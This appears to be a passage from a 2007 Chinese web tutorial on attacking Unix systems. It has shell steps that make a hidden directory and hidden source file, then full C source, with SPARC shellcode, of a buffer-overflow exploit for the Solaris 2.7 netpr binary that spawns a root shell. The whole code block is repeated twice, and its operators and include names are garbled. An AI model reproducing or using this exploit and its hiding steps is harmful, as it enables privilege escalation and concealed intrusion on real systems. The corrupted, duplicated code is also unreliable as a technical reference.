站内搜索
分类列表
本类阅读排行
本类推荐文章
广告
Unix系统攻击和防范
作者: 来源: 点击: 日期:2007-11-16 8:36:53
现在,我们就开始溢出吧!
$ cd
$ pwd
$ /export/home/power
$ mkdir ...
$ cd ...
$ vi ./.of.c
file://Here is the C source code for overflow in SunOS.
#include
#include
#include
#include
#include
#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0 8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0 16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0 20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7 8 */
"\x90\x10\x00\x0e"; /* mov %sp,%o0 */
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv)
{
char buffer[10000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland file://lsd-pl.net/\n");
printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");
if(argc==1)
{
printf("usage: %s lpserver\n",argv[0]);
exit(-1);
}
*((unsigned long*)adr)=(*(unsigned long(*)())jump)() 7124 2000;
envp[0]=&buffer[0];
envp[1]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b =4;
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b =0xff;
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;
b=&buffer[5000];
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp);
}
上面我们建立一个隐藏目录“...”,再建立一个隐藏的源代码文件“.of.c”。
$ cd
$ pwd
$ /export/home/power
$ mkdir ...
$ cd ...
$ vi ./.of.c
file://Here is the C source code for overflow in SunOS.
#include
#include
#include
#include
#include
#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0 8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0 16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0 20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7 8 */
"\x90\x10\x00\x0e"; /* mov %sp,%o0 */
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv)
{
char buffer[10000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland file://lsd-pl.net/\n");
printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");
if(argc==1)
{
printf("usage: %s lpserver\n",argv[0]);
exit(-1);
}
*((unsigned long*)adr)=(*(unsigned long(*)())jump)() 7124 2000;
envp[0]=&buffer[0];
envp[1]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b =4;
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b =0xff;
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;
b=&buffer[5000];
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp);
}
上面我们建立一个隐藏目录“...”,再建立一个隐藏的源代码文件“.of.c”。
Unix系统攻击和防范 评论
